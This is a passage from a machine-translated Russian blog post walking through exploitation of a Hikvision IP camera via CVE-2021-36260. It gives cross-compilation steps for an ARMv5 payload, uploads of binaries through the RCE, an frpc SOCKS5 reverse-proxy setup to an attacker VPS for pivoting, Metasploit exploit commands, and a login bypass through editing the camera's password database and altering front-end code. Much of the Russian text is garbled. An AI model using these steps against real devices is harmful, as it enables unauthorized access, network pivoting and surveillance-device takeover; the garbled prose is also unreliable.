    • Новая версияизGCC обычно содержит улучшения и исправления ошибок в алгоритме компилируемого оптимизатора.,это повлияет на производительность и стабильность программы.
  5. Целостность инструментальной цепочки
    • Различные наборы инструментов кросс-компиляции версии GCC могут содержать разные наборы компонентов.,Например, binutils (as, ld), glibc/musl/uClibcждать адаптированы под разные библиотеки C.
  6. функции безопасности
    • Новая версияизGCC может добавить «Понятно» для конкретных функций. безопасностиизподдерживать,«Защитник стека», очиститель адресов, очиститель неопределенного поведения.

насиз CPU информация

Язык кода:javascript
копировать
Processor       : ARM926EJ-S rev 5 (v5l)
BogoMIPS        : 218.72
Features        : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 5

Hardware        : r2
Revision        : 0000
Serial          : 0000000000000000

мы выбираем arm-linux-gnueabi-gcc этотиндивидуальный gcc

Язык кода:javascript
копировать
sudo apt update
sudo apt install gcc-arm-linux-gnueabi
2) Попробуйте скомпилировать и загрузить на исполнение

Сначала самое простое hello wrold Например,тест Нет проблем, тогда попробуйте наше приложение для поиска

Язык кода:javascript
копировать
#include <stdio.h>

int main() {
    printf("Hello, World!\n");
    return 0;
}

Отображение результата выполнения -sh: ./payload.elf: not found ,это Что происходит?

3. Найдите причину проблемы

1) Проверить хэш

Может быть, файл был неполным в процессе передачи?

Это не причина, а значит, что-то не так с самим документом.

2) Добавьте параметры компиляции

В процессе компиляции может возникнуть проблема с параметрами.,После запроса,Обнаружить Можеткнастраивать ARM из Архитектурак ИCPUпараметр

Язык кода:javascript
копировать
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s hello.c

все ещеэтот результаты

3) Используйте тестирование языка ассемблера

написан на языке ассемблера hello wrold , затем используйте мы выбираемизкомпилироватьмашинакомпилировать、соединять,взглянида Нетвстречаэтот Образец

Язык кода:javascript
копировать
    .data
msg:
    .ascii "Hello, world!\n\0"

    .text
    .global _start

_start:
    mov r0, #1      @ stdout file descriptor
    ldr r1, =msg    @ address of the message
    ldr r2, =13     @ length of the string (including newline)
    mov r7, #4      @ syscall number for write()

syscall_write:
    svc #0          @ make system call

    mov r7, #1      @ syscall number for exit()
    mov r0, #0      @ exit code

syscall_exit:
    svc #0          @ make system call to exit

Скомпилировать, связать

Язык кода:javascript
копировать
arm-linux-gnueabi-as hello_world.s -o hello_world.o   # компилироватьдля Цельдокумент
arm-linux-gnueabi-ld -o hello_world hello_world.o   # 链ловить Цельдокументдля Можетосуществлятьдокумент

можно увидеть Ассемблер можно успешно косуществлять, а это значит, что выбор компилируемого неправильный, и должна быть проблема с кодом, т.е. libc вне Понятновопрос

Изначально я хотел написать компилятор загрузки на ассемблере, но не знаю, как использовать ARM. Компиляция, потом сдалась

4) Проверьте динамический компоновщик

Может ли быть так, что существующий динамический компоновщик не существует в целевой системе??

Проверьте динамический компоновщик в целевой среде.

Действительно,Цельсистемана动态链ловитьустройствода uClibc,Пробуем Новый документ,имядля /lib/ld-linux.so.3 , после взгляни наше существование из процедурыэтот до и после узнать, в чем разница между Нет

Причина проблемы найдена. libc из-за причины,этот У нас есть два пути Понятно

  • статическийкомпилировать
  • компилировать uClibc для динамического компоновщика из программы
5) Статическая компиляция

это все просто, просто добавьте один -static Параметры и все

Язык кода:javascript
копировать
arm-linux-gnueabi-gcc -march=armv5tej -mtune=arm926ej-s -static hello.c

Размер после статической компиляции равен 567Kew почти,567K проходить echo писатьнуждатьсяхотетьочень длинныйизчасмежду,Самое главное это,Менее половины передачи приведет к сбою камеры.,Перезапуск,Потом все начинается сначала,но Мы можем решить эту проблему, добавив временную задержку между доставкой каждой посылки.

Я буду использовать его непосредственно в этом MSF загрузитьначальствоидти Понятно

хороший парень,Нетспособ выжить Понятноах,Статическая компиляция показывает, что ядро ​​слишком старое Понятно,Нужно ли мне еще переустанавливать всю низкоядерную систему?

6) Скомпилируйте uClibc

все ещекомпилировать uClibc Бар с последующей динамической компоновкой

https://uclibc.org/

Мы также выбираем 0.9.32.1 Версия

Язык кода:javascript
копировать
# скачать uClibc
wget https://uclibc.org/downloads/uClibc-0.9.32.1.tar.xz

# Разархивировать
tar -xf uClibc-0.9.32.1.tar.xz

# Конфигурация
make menuconfig
Язык кода:javascript
копировать
Target Architecture выбирать arm
Язык кода:javascript
копировать
Target Architecture Features and Options
  Target ABI 									-> EABI
  Target Processor Type 			-> Arm 926T
  Target Processor Endianness -> Little Endian

держать

компилировать

Язык кода:javascript
копировать
make
sudo make install

Ошибка Понятно, могло ли это быть gcc Не поддерживается -mlittle-endian параметр?,протестируй это

arm-linux-gnueabi-gcc Нет проблем, можно скомпилировать с помощью системы из gcc ?

Действительно,настеперь это значит дать ARM Использование платформы, тогда вам нужно использовать arm-linux-gnueabi-gcc руководитькомпилировать

снова make menuconfig

Язык кода:javascript
копировать
 uClibc development/debugging options
 		Cross-compiling toolchain prefix -> arm-linux-gnueabi-

снова

Язык кода:javascript
копировать
make 
make install

снова Отчет об ошибке

Похоже, нам нужна Конфигурация kernel headers

Язык кода:javascript
копировать
Target Architecture Features and Options
		Linux kernel header location

снова make

Возникла новая ошибка. Я проверил информацию в Интернете и не знаю, как ее решить.

взгляни uClibc Официальный сайт, найден Понятноэтот

https://uclibc.org/toolchains.html

этотвнутрилапша说хотетькомпилировать GNU binutilsGCCuClibc Формируя цепочку инструментов, существование позади нас обнаружило Понятно хорошую вещь —— buildroot,После проверки онлайн,Есть много инструментов для похожейиз

https://buildroot.org/

7) buildroot

https://buildroot.org/

Справочник по процессу установки https://www.zhiwanyuzhou.com/index.php/2022/07/17/%E4%BD%BF%E7%94%A8buildroot%E 5%88%B6%E4%BD%9C%E4%BA%A4%E5%8F%89%E7%BC%96%E8%AF%91%E5%B7%A5%E5%85%B7%E9% 93%БЭ/ Официальное руководство http://nightly.buildroot.org/manual.pdf

Язык кода:javascript
копировать
# Установка частично зависит от программного обеспечения.
sudo apt update
sudo apt install gcc make libncurses5-dev
sudo apt install qemu-user

# скачать
wget https://buildroot.org/downloads/buildroot-2024.02.tar.gz
# Разархивировать
tar -zxvf buildroot-2024.02.tar.gz

cd buildroot-2024.02/
# компилировать Конфигурация
make menuconfig

Знакомая страница вернулась Понятно

Язык кода:javascript
копировать
Target options 
		Target Architecture 				-> ARM (little endian)
		Target Architecture Variant -> arm926t
Остальную часть этой части трогать не нужно.
Язык кода:javascript
копировать
Toolchain
		C library 										-> uClibc-ng
		Kernel Headers 								-> Manually specified Linux version
		linux version  								-> 3.0.8
		Custom kernel headers series 	-> 3.0.x
		Enable C++ support 						-> *

этотвнутрилапшаиз Ядро Версия 3.0.8 дапроходитьсуществовать Цельсистемаосуществлять cat /proc/version выйти из

держать

Язык кода:javascript
копировать
# компилировать
make toolchain -j4 V=0

Эту часть можно легко решить, если сообщается об ошибке, например «Установить». g++

Эта часть очень, очень длинная, даже uClibc 官网Все建议насидти吃одининдивидуальный Вкусно и полезноизбутерброд,выпить газировку,позвонить другу,Играйте в видеоигры,Тогда найди чем заняться,я просто собираюсь пообедать

существоватьэтотиндивидуальныйпроцесссерединавстречаскачать Многоиздокумент,Если места недостаточно, он выйдет из строя.,Поскольку у меня уже существовали другие каталоги, скомпилированные до того, как Понятно,этот Второсортныйвнесейчас Понятнокомпилироватьнеудача,После удаления документа, чтобы пространство успешно скомпилировалось,Общий размер следующий

Можетксуществоватькомпилировать Местосуществоватьиз Оглавлениеизотносительно Оглавлениепопытаться найтиприезжатькомпилироватьхорошийизgcc

Язык кода:javascript
копировать
./output/host/bin/

Добавьте эту папку в переменные среды

Язык кода:javascript
копировать
echo "export PATH=\$PATH:$(pwd)" >> ~/.bashrc
source ~/.bashrc

протестируй это

Язык кода:javascript
копировать
arm-linux-gcc --version

Успешно добавьте в переменную среды, ксуществовать можно вызвать напрямую Понятно из любого каталога

4. Попробуйте скомпилировать программу еще раз.

1) Статическая компиляция
Язык кода:javascript
копировать
arm-linux-gcc -static hello.c

использовать qemu Имитировать тестосуществлять успешно Понятно, объем 113K размер,проходить meterpreter Загрузить в целевую систему

Выполнено успешно! ! ! но 113K этотиндивидуальныйразмервсе еще немного великоват Понятно, попробуйте скомпилировать динамическую ссылку из программы

2) Скомпилировать динамический компоновщик
Язык кода:javascript
копировать
arm-linux-gcc hello.c

размер 7.3K , можно ли запустить взгляни, этот размер в любой точке можно использовать напрямую PoC загрузить

Успех! ! !

3) Скомпилировать загрузчик

После удаления символа информация 5.2K

5. Попробуйте скачать агент удаленно.

Постарайтесь не использовать его в этот раз SSH , полностью использован RCE лазейки

Исправлять frpc.toml

Язык кода:javascript
копировать
serverAddr = "192.168.1.125"
serverPort = 7000

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 1080

[proxies.plugin]
type = "socks5"

Воля frpc и frpc.toml Упаковать, переименовать для a

Конфигурация FRP монитор

Язык кода:javascript
копировать
bindPort = 7000

проходить PoC загрузитьскачатьустройство,истроить HTTP сервер

Подождите немного, пока он завершит передачу

скачатьустройствовстреча Волядокументскачатьтебеосуществлятьскачатьустройствоиздокументпапка Вниз,而Нетдаскачатьустройствосам Местосуществоватьиздокументпапка Вниз

6. Попробуйте установить прокси Socks5.

Разархивировать frpc,также Сразуда payload документ

существованиеэтот в критический момент,Действительно,это Система камер снова вышла из строя Понятно,Кажется Реальная производительностьсуществовать Тревожно,Конечно, это для наших дополнительных нужд.

Повторить тест

снова Авария,Но это меня совсем не беспокоит,нас Воля frpc и frpc.toml Названы соответственно для a , затем скачай дважды

Все готово,синий старт Создать агента Очистить

Нетактерское мастерство Учреждатьуспех,проходитьsshначальствоидтиосуществлятьодин Внизвзгляни

Проверьте это Hash

Кажетсяэтот frp из arm версия не совместима с этой

7. Скомпилируйте frpc

Создайте среду GO

https://go.dev/doc/install

Язык кода:javascript
копировать
 wget https://dl.google.com/go/go1.22.1.linux-amd64.tar.gz
 rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
 export PATH=$PATH:/usr/local/go/bin

тянуть frp исходный код

Язык кода:javascript
копировать
git clone https://github.com/fatedier/frp.git

статическийкомпилировать frpc

Язык кода:javascript
копировать
export GOARCH=arm
export GOARM=5  # Соответствует архитектуре ARMv5.
export CGO_ENABLED=1
export CC=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-gcc
export CXX=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-g++

go env -w GOPROXY=https://goproxy.cn,direct
go build -ldflags '-extldflags "-static" -s -w' -tags netgo -o frpc_arm_v5 cmd/frpc/*.go

этотвнутрисредапеременная CC и CXX Ответьте нам соответственно buildroot генерироватьиз gcc к И g++

8. Создайте агента

VPS (192.168.1.125)

Язык кода:javascript
копировать
./frps -c frps.toml

камера жертвы

загрузитьскачатьустройство -> скачать frpc -> скачать frpc.toml -> Создать агента

осуществлять frpc -c frpc.toml

Агент успешно получен

9. Используйте прокси-сервер для доступа к сетям с ограниченным доступом

Успешно прибыло 192.168.1.126

0x05 Metasploit

на самом деле Metasploit Пойдем со мной CVE-2021-36260 из Payload,Чрезвычайно удобно атаковать

Язык кода:javascript
копировать
search CVE-2021-36260

Заполните раздел информация

Язык кода:javascript
копировать
set rhost 192.168.1.64
set lhost 192.168.1.125
show targets 
set target Linux Dropper
Язык кода:javascript
копировать
exploit

Похоже, мы делали это раньше echo Операция та же самая

Успешно получено shell

от 192.168.1.125 доступ 192.168.1.126 есть доступ Не имеет смыслаиз

Добавить маршрут

Потому что для себя VPS Просто в 192.168.1.0 этотиндивидуальныйчасть Понятно,этот Образецнас Сразупрямойдобавить в Один прибывает 192.168.1.126 маршрутизация

Язык кода:javascript
копировать
route add 192.168.1.126 255.255.255.255 192.168.1.64

Конфигурация socks5 актерское мастерство,монитор 1080 порт

использоватьактерское мастерстводоступограниченная сеть

0x06 Авторизоваться Web За кулисами

https://github.com/jorhelp/Ingram/discussions/9

Найдите расположение базы данных по ссылке выше /devinfo/ipc_db ,да sqlite3 База данных, доступна киспользовать DB Broswer Открыть,Позже можно перезаписать исходную базу данных.,Перезапускназад Вступить в силу

Мы обсудили два варианта

  • командная строкаосуществлять resetParam Очистить пароль администратора, пользователь по умолчанию admin
  • Воля Известный аккаунтпароль(Напримерuser/userpass) После шифрования результат напрямую отправляется в таблицу паролей пользователей.

Кажется, что оба случая решают проблему, но они не универсальны.

Первый метод из resetParam и Нет见придетсясуществовать Местоиметьиз Состояние Вниз Всеиметь,или сказал, что есть,Не каждый сможет его найти.,Также можно настроить вторую часть проверки «Понимание», найдя производителя оборудования «Понимание»;

Второй метод кажется идеальным,но Предпосылка такова, что мы знали изинформация,Как получить информацию может быть проблемой,Не всегда можно купить устройство и искать устройство для хранения слабых паролей.

Оба метода можно немного улучшить. Я предлагаю более общее решение.

1. Загрузите базу данных и создайте ее резервную копию.

2. Измените базу данных

Воля passwd запись изValue сохранить и оставить пустой

Язык кода:javascript
копировать
:b0:f:2c:fa:d9:a6:42:2f:c5:5c:78:26:1f:6f:f3:39

Конечно, мы можем выполнить поиск этих устройств и пользователя-администратора по умолчанию. admin ,от формата логин и пароль кодируются одинаково, поэтому установка пароля и логина тоже должна быть возможной, но это не универсально, то что пароль шифруется, а имя пользователя не шифруется, поэтому. кнасвсе ещевыбирать Воляпаролькосмос

держать

3. Загрузите и перезапишите исходную базу данных.

Перезагрузите устройство после перезаписи

4. пытаться Авторизоваться

Просто дайте нам Исправить пароль

успех Авторизоваться За кулисами

5. Создайте нового пользователя

Новый user/user1234

Попробуйте с новым пользователем Авторизоваться

В это время вновь созданные права пользователя и Нет admin такой большой

6. Снова измените базу данных

копировать admin из Разрешение предоставлено user ,восстанавливаться admin изпароль

7. Проверка разрешения

можно увидеть, уже имеет права администратора Понятно, нодобавить, удалить пользователя и его пока нельзя использовать, да серый из,Думаю, это может быть проблема с интерфейсом

Воля disabled="disabled" удалить

Доступна ли функция thisbackвзгляни?

Добавить обычного пользователя demo

пытатьсяиспользовать demo Авторизоваться

Можем попробовать оператор demo Будут ли какие-либо проблемы с разрешениями? Создайте учетную запись.

К счастью, Нетэтот — основная ошибка.

пытатьсяиспользовать admin оказатьсяизпарольруководить Авторизоваться,Взгляни успешно восстановлены?

успех Авторизоваться

8. Универсальное расширение

существуют во многих системах,База данных Direct Исправлять не позволяет пользователям напрямую Исправлять пароль из,Вместо этого для Авторизации требуется пустой пароль.,на самом делесуществоватьэтотиндивидуальныйсистеманачальствоудалять Понятно admin То же самое справедливо и для пользователей. На ранней стадии Нет напрямую. admin Начав, вы столкнетесь с более общей ситуацией. Далее мы покажем, как это сделать. user из Пароль очистить, затем Авторизоваться За кулисами

Перезапускназадпытатьсяиспользовать user Счет Авторизоваться

это нормальная ситуация,Оставьте наш пароль Воля пустым Понятно,но Система непозволятьпустой пароль Авторизоваться,Мы можем увидеть, позволяет ли передняя часть серверной части,Захват пакетов

Кажется, это интерфейс из-за ограничений,Можем ли мы напрямую перехватить пакет?,Исправлять Шерстяная ткань?

Пароль зашифрован, стараемся оставлять его пустым

Вызовет ошибку формата, получите новый из sessionID,Изназадпрямойудалить password этоттегтест

все еще Ошибка формата,Кажетсяэтоти НетдаXML из проблемы, но в интерфейсе указан формат Понятно

Это не имеет значения,Проблемы и темы фронтенда,Решите проблему с фронтендом,толькохороший Из前给大家介绍Проходить javascript И наоборот, это следует практиковать. Понятно.

копироватьпроситьиз URL

Язык кода:javascript
копировать
http://192.168.1.64/ISAPI/Security/sessionLogin

добавить в xhr точка останова

использовать user Добавьте любой пароль к аккаунту, к 1234 Например,Авторизоваться

можно увидеть,точка остановасуществовать Положение стрелки на картинке, вывести его на консоль b.hasContent иb.data

можно увидеть это уже зашифровано из данных Понятно, отточка остановка в соответствии со стеком вызовов вперед, чтобы найти текстовый пароль, существующий где

Можно проследить по кусочкам

можно увидетьсуществоватьэтотиндивидуальный doLogin Понятно, что пароль из простого текста появляется повсюду. 1234 ,нассуществоватьэтотдобавить вточка останова

выпускать debug ,сновапредставлять на рассмотрение user/1234 ,веб-страницасуществоватьточка Остановиться на остановке

В этом тексте есть очень странный отрывок.

Язык кода:javascript
копировать
"anonymous" === $scope.username && (a = "******")

Нет понимает, о чем идет речь. Конечно, я пытался Авторизоваться, и Нет, дело не в этом. остановав Исправлятьпеременная a изценить

выпускатьточка останова,позволятьпрограммапродолжатьосуществлять

по тесту,этотвнутрииз Исправить пароль хотя интерфейс есть,но не знает пароля Исправлять,Местокнаспрямойвыбирать Отмена

Успешно введен кулисами,якнигакдля admin Счеттакжевстречаопытэтотабзац,Я не ожидал, что мне придется просто сбросить пароль. Понятно.,Все абзацы в основном предназначены для того, чтобы показать вам расширение.

0x07 Просмотр базы данных

существования В предыдущем разделе мы рассмотрели некоторые функции в базе данных.,существуют В процессе перелистывания базы данных из,Откройте для себя Понятно другое интересное из таблиц

security_config

Например, здесь задействовано много конфигураций. web_authssh_enable ,ядумать Понятноэтотиндивидуальныйлазейкииз Обнаружить ВОЗ曾提приезжать Проходить Запрещатьweb Сертификация, не знаю, есть ли она в наличии, эффекта нет после теста, может быть это устройство Не поддерживается Бар

https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

носуществовать Исправлятьэтот некоторый ряд данных, сработал один раз Basic Сертификация,существовать Basic Сертификацию можно провести напрямую user Если вы добавите пустой пароль для «Авторизоваться, носноватестиз», он не появится.

socks_param

это я не знаю, можно ли открыть саму систему актерское мастерствовсе ещесистемаподдерживатьиспользоватьактерское мастерство,наспытатьсясуществовать За кулисамивзглянииметь Нетактерское мастерство Функция

и не найденои socks Связанный, все функции в этом наборе либо универсальны и подключаются только к маленькой камере, либо она идет в комплекте с системой. мастерство Функция,Стараемся Исправлять базу данных,взгляни Могут ли быть неожиданные сюрпризы?

перезаписать, перезапустить

Кажетсяи Нет行,Сразуприезжатьэтотвнутри Понятно

Теперь я наконец могу хорошо выспаться Понятно...

0x08 Бесплатные инструкции по оборудованию.

Если вы видите этори Понятно,Возможно, вас заинтересуют эти статьи,Если вы также страдаете от Неттестсреда,Связаться с нами,Наша камера Воляэтот представлена ​​Вам,Вы можете оплатить почтовые расходы

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose